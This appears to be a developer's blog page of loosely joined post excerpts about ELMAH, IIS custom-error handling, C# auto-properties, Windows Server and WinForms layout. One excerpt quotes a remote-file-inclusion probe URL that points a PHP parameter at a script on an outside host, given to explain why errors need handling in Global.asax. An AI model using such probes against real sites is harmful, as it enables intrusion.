"Hey Smith!  Got that country code table SQL?"

Yeah, right here.

Last fall my friend Kat told me that there was a WHCN alumni group on facebook that I just had to join.  I told her that  I'd coded against the fb api but never really saw the draw of being a user.

She called me an old fart and that was that.

Couple nights ago after mixing cold and hot sake I did a boogle for HCN and the group popped up.  I saw Kat's postings from last year, and Kim Alexander's and Dan Hayden's and Johnston Izzi's and got all nostalgic and joined and posted.

Just got an e about ELMAH.  Yes, I think its pretty fine.  Saves a lot of time, does fine with vs2010 asp.net4 for us so far... but let me tell you why we took the plunge.

Need to reduce those one-off cookies, session vars or visible query strings?  This is a library that I trust (and I trust very very few these days)

Remaking this site to run on IIS... ELMAH quickly reminded me of that IIS issue:  ignoring custom error handling when spaces or hijack scripts are in the url.

Mostly these come from those cute little korean/slav/russian php scripties, you know the ones, all the variations of: http://[domain]/page%20/index.php?errors=http://www.imajerkwithasmallpenis.tjdhosp.co.kr/1.txt?

IIS and web.config customErrors will take care of most odd url requests.. but embed a space and your customError configuration section won't get called... you need to handle it in the olde Global.asax

The logs show that your pages are redirecting correctly... but a spider type test app shows everything as being status 200 OK... dagnabbit, don't forget that one little property

About a month ago, my VS2008 Start Page featured a link to an interview with Hejlsberg where he answered the question 'how do you see developers working in the years ahead?'. He laughed about how years ago everyone thought that development would be done "in the future" by just speaking into their computers and yet we are all still using keyboards.

This shows the deep tendrils case-sensitvity has wrapped around many brainstems, like the creatures in Heinlein's Puppet Masters.

The reality is that Developers CAN already code by talking into their machines or, if they prefer, by writing their code longhand. It's been a reality at the OS-level since XP-TabletPC2005

Why the heck would you do this?

Because a couple of Redmondy friends have moved from kidding to concern over my writing up the Ubuntu/Mono stuff, may I dump something on you?

On the server side I have been with Microsoft OSes since NT3.51.  NT4 was really great for its day, 2000S was better and 2003S has been running my servers at various companies and at my home offices for years now with never a huge issue and never - ever - the big meltdowns that Linux/Mac heads who don’t actually use the OS just love to pass around.  I’ve seen in companies and had my own timeups well over a year and only seen bluescreens because of my own or my coworkers own coding mistakes or IT going cheap on cards and chips.

Here's one of those things that some of us came cross way back and fixed on our machines and promptly forgot about, but that comes up every time you hit a new machine or machine from a new .Net convert.

A few days ago I told a friend how he could get a few performance gains by modifying the wizarded Entity classes and when I went to his house and sat at his 'puter my fingers called up the prop snippet and got that VS2008 shortie:

public int myProp{ get; set;} 

Ugh, I hate that thing. 

I know that "under the hood" C# creates a hidden variable for that syntax-saccharine shorthand but it gets me that back in the day of VB5/6 when the tool created ANYTHING under the hood all we ever heard from C++ guys was that that practice was shining example of why VB sucked... nothing should be "under the hood."

Call me stupid but in .Net2 when I needed a container similar to the VB6 Repeater control I?d still do the .Net1x route of using a panel and have to code in the placement with a calculation of the height of the user control * number of controls already added.

Not a big deal but tedious because of the X,Y?s also having to account for the panel?s relative place on the form and the panel's border width.

Duh. There's that FlowLayoutPanel control that does the repeater control functions.